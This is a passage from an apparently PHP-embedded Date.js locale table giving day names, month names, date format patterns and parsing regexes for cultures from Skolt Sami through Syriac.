'Date.CultureInfo={name:"sms-FI",englishName:"Sami (Skolt) (Finland)",nativeName:"sääm´ǩiõll (Lää´ddjânnam)",dayNames:["pâ´sspei´vv","vuõssargg","mââibargg","seärad","nelljdpei´vv","piâtnâc","sue´vet"],abbreviatedDayNames:["pâ","vu","mâ","se","ne","pi","su"],shortestDayNames:["pâ","vu","mâ","se","ne","pi","su"],firstLetterDayNames:["p","v","m","s","n","p","s"],monthNames:["ođđee´jjmään","tä´lvvmään","pâ´zzlâšttammään","njuhččmään","vue´ssmään","ǩie´ssmään","suei´nnmään","på´rǧǧmään","čõhččmään","kålggmään","skamm´mään","rosttovmään"],abbreviatedMonthNames:["ođjm","tä´lvv","pâzl","njuh","vue","ǩie","suei","på´r","čõh","kålg","ska","rost"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"d.M.yyyy",longDate:"MMMM d\'. p. \'yyyy",shortTime:"H:mm:ss",longTime:"H:mm:ss",fullDateTime:"MMMM d\'. p. \'yyyy H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"MMMM dd",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^ođđee´jjmään/i,feb:/^tä´lvv(mään)?/i,mar:/^pâ´zzlâšttammään/i,apr:/^njuh(ččmään)?/i,may:/^vue(´ssmään)?/i,jun:/^ǩie(´ssmään)?/i,jul:/^suei(´nnmään)?/i,aug:/^på´r(ǧǧmään)?/i,sep:/^čõh(ččmään)?/i,oct:/^kålg(gmään)?/i,nov:/^ska(mm´mään)?/i,dec:/^rost(tovmään)?/i,sun:/^pâ´sspei´vv/i,mon:/^vuõssargg/i,tue:/^mââibargg/i,wed:/^seärad/i,thu:/^nelljdpei´vv/i,fri:/^piâtnâc/i,sat:/^sue´vet/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'sq-AL' => 'Date.CultureInfo={name:"sq-AL",englishName:"Albanian (Albania)",nativeName:"shqipe (Shqipëria)",dayNames:["e diel","e hënë","e martë","e mërkurë","e enjte","e premte","e shtunë"],abbreviatedDayNames:["Die","Hën","Mar","Mër","Enj","Pre","Sht"],shortestDayNames:["Di","Hë","Ma","Më","En","Pr","Sh"],firstLetterDayNames:["D","H","M","M","E","P","S"],monthNames:["janar","shkurt","mars","prill","maj","qershor","korrik","gusht","shtator","tetor","nëntor","dhjetor"],abbreviatedMonthNames:["Jan","Shk","Mar","Pri","Maj","Qer","Kor","Gsh","Sht","Tet","Nën","Dhj"],amDesignator:"PD",pmDesignator:"MD",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"ymd",formatPatterns:{shortDate:"yyyy-MM-dd",longDate:"yyyy-MM-dd",shortTime:"h:mm.tt",longTime:"h:mm:ss.tt",fullDateTime:"yyyy-MM-dd h:mm:ss.tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"MMMM dd",yearMonth:"yyyy-MM"},regexPatterns:{jan:/^jan(ar)?/i,feb:/^shk(urt)?/i,mar:/^mar(s)?/i,apr:/^pri(ll)?/i,may:/^maj/i,jun:/^qer(shor)?/i,jul:/^kor(rik)?/i,aug:/^gusht/i,sep:/^sht(ator)?/i,oct:/^tet(or)?/i,nov:/^nën(tor)?/i,dec:/^dhj(etor)?/i,sun:/^di(e(iel)?)?/i,mon:/^hë(n(ënë)?)?/i,tue:/^ma(r(artë)?)?/i,wed:/^më(r(ërkurë)?)?/i,thu:/^en(j(njte)?)?/i,fri:/^pr(e(remte)?)?/i,sat:/^sh(t(htunë)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'sr-Cyrl-BA' => 'Date.CultureInfo={name:"sr-Cyrl-BA",englishName:"Serbian (Cyrillic) (Bosnia and Herzegovina)",nativeName:"српски (Босна и Херцеговина)",dayNames:["недеља","понедељак","уторак","среда","четвртак","петак","субота"],abbreviatedDayNames:["нед","пон","уто","сре","чет","пет","суб"],shortestDayNames:["нед","пон","уто","сре","чет","пет","суб"],firstLetterDayNames:["н","п","у","с","ч","п","с"],monthNames:["јануар","фебруар","март","април","мај","јун","јул","август","септембар","октобар","новембар","децембар"],abbreviatedMonthNames:["јан","феб","мар","апр","мај","јун","јул","авг","сеп","окт","нов","дец"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"d.M.yyyy",longDate:"d. MMMM yyyy",shortTime:"H:mm:ss",longTime:"H:mm:ss",fullDateTime:"d. MMMM yyyy H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"MMMM dd",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^јан(уар)?/i,feb:/^феб(руар)?/i,mar:/^мар(т)?/i,apr:/^апр(ил)?/i,may:/^мај/i,jun:/^јун/i,jul:/^јул/i,aug:/^авг(уст)?/i,sep:/^сеп(тембар)?/i,oct:/^окт(обар)?/i,nov:/^нов(ембар)?/i,dec:/^дец(ембар)?/i,sun:/^недеља/i,mon:/^понедељак/i,tue:/^уторак/i,wed:/^среда/i,thu:/^четвртак/i,fri:/^петак/i,sat:/^субота/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'sr-Cyrl-CS' => 'Date.CultureInfo={name:"sr-Cyrl-CS",englishName:"Serbian (Cyrillic, Serbia)",nativeName:"српски (Србија)",dayNames:["недеља","понедељак","уторак","среда","четвртак","петак","субота"],abbreviatedDayNames:["нед","пон","уто","сре","чет","пет","суб"],shortestDayNames:["не","по","ут","ср","че","пе","су"],firstLetterDayNames:["н","п","у","с","ч","п","с"],monthNames:["јануар","фебруар","март","април","мај","јун","јул","август","септембар","октобар","новембар","децембар"],abbreviatedMonthNames:["јан","феб","мар","апр","мај","јун","јул","авг","сеп","окт","нов","дец"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"d.M.yyyy",longDate:"d. MMMM yyyy",shortTime:"H:mm",longTime:"H:mm:ss",fullDateTime:"d. MMMM yyyy H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"d. MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^јан(уар)?/i,feb:/^феб(руар)?/i,mar:/^мар(т)?/i,apr:/^апр(ил)?/i,may:/^мај/i,jun:/^јун/i,jul:/^јул/i,aug:/^авг(уст)?/i,sep:/^сеп(тембар)?/i,oct:/^окт(обар)?/i,nov:/^нов(ембар)?/i,dec:/^дец(ембар)?/i,sun:/^не(д(еља)?)?/i,mon:/^по(н(едељак)?)?/i,tue:/^ут(о(рак)?)?/i,wed:/^ср(е(да)?)?/i,thu:/^че(т(вртак)?)?/i,fri:/^пе(т(ак)?)?/i,sat:/^су(б(ота)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'sr-Latn-BA' => 'Date.CultureInfo={name:"sr-Latn-BA",englishName:"Serbian (Latin) (Bosnia and Herzegovina)",nativeName:"srpski (Bosna i Hercegovina)",dayNames:["nedelja","ponedeljak","utorak","sreda","četvrtak","petak","subota"],abbreviatedDayNames:["ned","pon","uto","sre","čet","pet","sub"],shortestDayNames:["ned","pon","uto","sre","čet","pet","sub"],firstLetterDayNames:["n","p","u","s","č","p","s"],monthNames:["januar","februar","mart","april","maj","jun","jul","avgust","septembar","oktobar","novembar","decembar"],abbreviatedMonthNames:["jan","feb","mar","apr","maj","jun","jul","avg","sep","okt","nov","dec"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"d.M.yyyy",longDate:"d. MMMM yyyy",shortTime:"H:mm:ss",longTime:"H:mm:ss",fullDateTime:"d. MMMM yyyy H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"MMMM dd",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^jan(uar)?/i,feb:/^feb(ruar)?/i,mar:/^mar(t)?/i,apr:/^apr(il)?/i,may:/^maj/i,jun:/^jun/i,jul:/^jul/i,aug:/^avg(ust)?/i,sep:/^sep(tembar)?/i,oct:/^okt(obar)?/i,nov:/^nov(embar)?/i,dec:/^dec(embar)?/i,sun:/^nedelja/i,mon:/^ponedeljak/i,tue:/^utorak/i,wed:/^sreda/i,thu:/^četvrtak/i,fri:/^petak/i,sat:/^subota/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'sr-Latn-CS' => 'Date.CultureInfo={name:"sr-Latn-CS",englishName:"Serbian (Latin, Serbia)",nativeName:"srpski (Srbija)",dayNames:["nedelja","ponedeljak","utorak","sreda","četvrtak","petak","subota"],abbreviatedDayNames:["ned","pon","uto","sre","čet","pet","sub"],shortestDayNames:["ne","po","ut","sr","če","pe","su"],firstLetterDayNames:["n","p","u","s","č","p","s"],monthNames:["januar","februar","mart","april","maj","jun","jul","avgust","septembar","oktobar","novembar","decembar"],abbreviatedMonthNames:["jan","feb","mar","apr","maj","jun","jul","avg","sep","okt","nov","dec"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"d.M.yyyy",longDate:"d. MMMM yyyy",shortTime:"H:mm",longTime:"H:mm:ss",fullDateTime:"d. MMMM yyyy H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"d. MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^jan(uar)?/i,feb:/^feb(ruar)?/i,mar:/^mar(t)?/i,apr:/^apr(il)?/i,may:/^maj/i,jun:/^jun/i,jul:/^jul/i,aug:/^avg(ust)?/i,sep:/^sep(tembar)?/i,oct:/^okt(obar)?/i,nov:/^nov(embar)?/i,dec:/^dec(embar)?/i,sun:/^ne(d(elja)?)?/i,mon:/^po(n(edeljak)?)?/i,tue:/^ut(o(rak)?)?/i,wed:/^sr(e(da)?)?/i,thu:/^če(t(vrtak)?)?/i,fri:/^pe(t(ak)?)?/i,sat:/^su(b(ota)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'sv-FI' => 'Date.CultureInfo={name:"sv-FI",englishName:"Swedish (Finland)",nativeName:"svenska (Finland)",dayNames:["söndag","måndag","tisdag","onsdag","torsdag","fredag","lördag"],abbreviatedDayNames:["sö","må","ti","on","to","fr","lö"],shortestDayNames:["sö","må","ti","on","to","fr","lö"],firstLetterDayNames:["s","m","t","o","t","f","l"],monthNames:["januari","februari","mars","april","maj","juni","juli","augusti","september","oktober","november","december"],abbreviatedMonthNames:["jan","feb","mar","apr","maj","jun","jul","aug","sep","okt","nov","dec"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"d.M.yyyy",longDate:"\'den \'d MMMM yyyy",shortTime:"HH:mm",longTime:"HH:mm:ss",fullDateTime:"\'den \'d MMMM yyyy HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"\'den \'d MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^jan(uari)?/i,feb:/^feb(ruari)?/i,mar:/^mar(s)?/i,apr:/^apr(il)?/i,may:/^maj/i,jun:/^jun(i)?/i,jul:/^jul(i)?/i,aug:/^aug(usti)?/i,sep:/^sep(t(ember)?)?/i,oct:/^okt(ober)?/i,nov:/^nov(ember)?/i,dec:/^dec(ember)?/i,sun:/^söndag/i,mon:/^måndag/i,tue:/^tisdag/i,wed:/^onsdag/i,thu:/^torsdag/i,fri:/^fredag/i,sat:/^lördag/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'sv-SE' => 'Date.CultureInfo={name:"sv-SE",englishName:"Swedish (Sweden)",nativeName:"svenska (Sverige)",dayNames:["söndag","måndag","tisdag","onsdag","torsdag","fredag","lördag"],abbreviatedDayNames:["sö","må","ti","on","to","fr","lö"],shortestDayNames:["sö","må","ti","on","to","fr","lö"],firstLetterDayNames:["s","m","t","o","t","f","l"],monthNames:["januari","februari","mars","april","maj","juni","juli","augusti","september","oktober","november","december"],abbreviatedMonthNames:["jan","feb","mar","apr","maj","jun","jul","aug","sep","okt","nov","dec"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"ymd",formatPatterns:{shortDate:"yyyy-MM-dd",longDate:"\'den \'d MMMM yyyy",shortTime:"HH:mm",longTime:"HH:mm:ss",fullDateTime:"\'den \'d MMMM yyyy HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"\'den \'d MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^jan(uari)?/i,feb:/^feb(ruari)?/i,mar:/^mar(s)?/i,apr:/^apr(il)?/i,may:/^maj/i,jun:/^jun(i)?/i,jul:/^jul(i)?/i,aug:/^aug(usti)?/i,sep:/^sep(t(ember)?)?/i,oct:/^okt(ober)?/i,nov:/^nov(ember)?/i,dec:/^dec(ember)?/i,sun:/^söndag/i,mon:/^måndag/i,tue:/^tisdag/i,wed:/^onsdag/i,thu:/^torsdag/i,fri:/^fredag/i,sat:/^lördag/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'sw-KE' => 'Date.CultureInfo={name:"sw-KE",englishName:"Kiswahili (Kenya)",nativeName:"Kiswahili (Kenya)",dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],abbreviatedDayNames:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],shortestDayNames:["S","M","T","W","T","F","S"],firstLetterDayNames:["S","M","T","W","T","F","S"],monthNames:["January","February","March","April","May","June","July","August","September","October","November","December"],abbreviatedMonthNames:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],amDesignator:"AM",pmDesignator:"PM",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"mdy",formatPatterns:{shortDate:"M/d/yyyy",longDate:"dddd, MMMM dd, yyyy",shortTime:"h:mm tt",longTime:"h:mm:ss tt",fullDateTime:"dddd, MMMM dd, yyyy h:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"MMMM dd",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^jan(uary)?/i,feb:/^feb(ruary)?/i,mar:/^mar(ch)?/i,apr:/^apr(il)?/i,may:/^may/i,jun:/^jun(e)?/i,jul:/^jul(y)?/i,aug:/^aug(ust)?/i,sep:/^sep(t(ember)?)?/i,oct:/^oct(ober)?/i,nov:/^nov(ember)?/i,dec:/^dec(ember)?/i,sun:/^s(un(day)?)?/i,mon:/^m(on(day)?)?/i,tue:/^tu(e(s(day)?)?)?/i,wed:/^w(ed(nesday)?)?/i,thu:/^th(u(r(s(day)?)?)?)?/i,fri:/^f(ri(day)?)?/i,sat:/^s(at(urday)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'syr-SY' => 'Date.CultureInfo={name:"syr-SY",englishName:"Syriac (Syria)",nativeName:"ܣܘܪܝܝܐ (سوريا)",dayNames:["ܚܕ ܒܫܒܐ","ܬܪܝܢ ܒܫܒܐ","ܬܠܬܐ ܒܫܒܐ","ܐܪܒܥܐ ܒܫܒܐ","ܚܡܫܐ ܒܫܒܐ","ܥܪܘܒܬܐ","ܫܒܬܐ"],abbreviatedDayNames:["܏ܐ ܏ܒܫ","܏ܒ ܏ܒܫ","܏ܓ ܏ܒܫ","܏ܕ ܏ܒܫ","܏ܗ ܏ܒܫ","܏ܥܪܘܒ","܏ܫܒ"],shortestDayNames:["܏","܏","܏","܏","܏","܏","܏"],firstLetterDayNames:["܏","܏","܏","܏","܏","܏","܏"],monthNames:["ܟܢܘܢ ܐܚܪܝ","ܫܒܛ","ܐܕܪ","ܢܝܣܢ","ܐܝܪ","ܚܙܝܪܢ","ܬܡܘܙ","ܐܒ","ܐܝܠܘܠ","ܬܫܪܝ ܩܕܝܡ","ܬܫܪܝ ܐܚܪܝ","ܟܢܘܢ ܩܕܝܡ"],abbreviatedMonthNames:["܏ܟܢ ܏ܒ","ܫܒܛ","ܐܕܪ","ܢܝܣܢ","ܐܝܪ","ܚܙܝܪܢ","ܬܡܘܙ","ܐܒ","ܐܝܠܘܠ","܏ܬܫ ܏ܐ","܏ܬܫ ܏ܒ","܏ܟܢ ܏ܐ"],amDesignator:"ܩ.ܛ",pmDesignator:"ܒ.ܛ",firstDayOfWeek:6,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dd MMMM, yyyy",shortTime:"hh:mm tt",longTime:"hh:mm:ss tt",fullDateTime:"dd MMMM, yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^ܟܢܘܢ ܐܚܪܝ/i,feb:/^ܫܒܛ/i,mar:/^ܐܕܪ/i,apr:/^ܢܝܣܢ/i,may:/^ܐܝܪ/i,jun:/^ܚܙܝܪܢ/i,jul:/^ܬܡܘܙ/i,aug:/^ܐܒ/i,sep:/^ܐܝܠܘܠ/i,oct:/^ܬܫܪܝ ܩܕܝܡ/i,nov:/^ܬܫܪܝ ܐܚܪܝ/i,dec:/^ܟܢܘܢ ܩܕܝܡ/i,sun:/^܏(ܐ ܏ܒܫ(ܐ)?)?/i,mon:/^܏(ܒ ܏ܒܫ(ܫܒܐ)?)?/i,tue:/^܏(ܓ ܏ܒܫ(ܫܒܐ)?)?/i,wed:/^܏(ܕ ܏ܒܫ(ܒܫܒܐ)?)?/i,thu:/^܏(ܗ ܏ܒܫ(ܫܒܐ)?)?/i,fri:/^܏(ܥܪܘܒ(ܐ)?)?/i,sat:/^܏(ܫܒ(ܐ)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{